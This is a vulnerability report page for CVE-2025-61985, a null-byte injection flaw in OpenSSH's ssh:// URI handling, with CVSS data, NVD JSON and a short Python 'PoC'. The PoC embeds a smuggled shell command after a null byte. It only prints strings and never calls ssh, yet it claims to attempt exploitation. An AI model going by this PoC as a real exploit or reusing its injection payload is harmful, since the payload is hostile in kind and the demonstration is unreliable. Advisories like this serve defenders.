Security Vulnerability Report
中文
CVE-2025-61985 CVSS 3.6 LOW

CVE-2025-61985

Published: 2025-10-06 19:15:36
Last Modified: 2026-04-15 00:35:42

Description

ssh in OpenSSH before 10.1 allows the '\0' character in an ssh:// URI, potentially leading to code execution when a ProxyCommand is used.

CVSS Details

CVSS Score
3.6
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

OpenSSH < 10.1
OpenSSH 10.0及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-61985 PoC - OpenSSH ssh:// URI Null Byte Injection Demonstrates how a null byte in ssh:// URI can lead to command injection when ProxyCommand is configured. Vulnerable: OpenSSH < 10.1 Fixed in: OpenSSH 10.1p1 """ import subprocess import os # Configure a malicious ProxyCommand that demonstrates the vulnerability # In a real attack scenario, this would be set in ~/.ssh/config proxy_command = 'echo "ProxyCommand triggered"' # Craft a malicious ssh:// URI with embedded null byte # The null byte will truncate the string in C-based string handling, # while the shell will interpret the full command target_host = "user@legitimate-host" null_byte = "\x00" injected_command = "; touch /tmp/pwned_by_cve_2025_61985" malicious_uri = f"ssh://{target_host}{null_byte}{injected_command}" print(f"[*] Crafted malicious URI: {repr(malicious_uri)}") print(f"[*] Attempting to exploit CVE-2025-61985...") # Simulate the vulnerability by demonstrating how the null byte # affects string processing print(f"\n[*] String as C would see it (truncated at null byte):") print(f" {repr(malicious_uri.split(chr(0))[0])}") print(f"\n[*] String as shell would interpret it:") print(f" {repr(malicious_uri.replace(chr(0), ''))}") # Cleanup any previous exploitation artifacts if os.path.exists("/tmp/pwned_by_cve_2025_61985"): os.remove("/tmp/pwned_by_cve_2025_61985") print("\n[*] Cleaned up previous PoC artifacts") print("\n[!] Note: Actual exploitation requires:") print(" 1. OpenSSH version < 10.1") print(" 2. ProxyCommand configured in ssh_config") print(" 3. Attacker control over the ssh:// URI input") print("\n[+] PoC demonstration complete. Upgrade to OpenSSH 10.1p1 to mitigate.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61985", "sourceIdentifier": "[email protected]", "published": "2025-10-06T19:15:36.357", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ssh in OpenSSH before 10.1 allows the '\\0' character in an ssh:// URI, potentially leading to code execution when a ProxyCommand is used."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.6, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-158"}]}], "references": [{"url": "https://marc.info/?l=openssh-unix-dev&m=175974522032149&w=2", "source": "[email protected]"}, {"url": "https://www.openssh.com/releasenotes.html#10.1p1", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2025/10/06/1", "source": "[email protected]"}]}}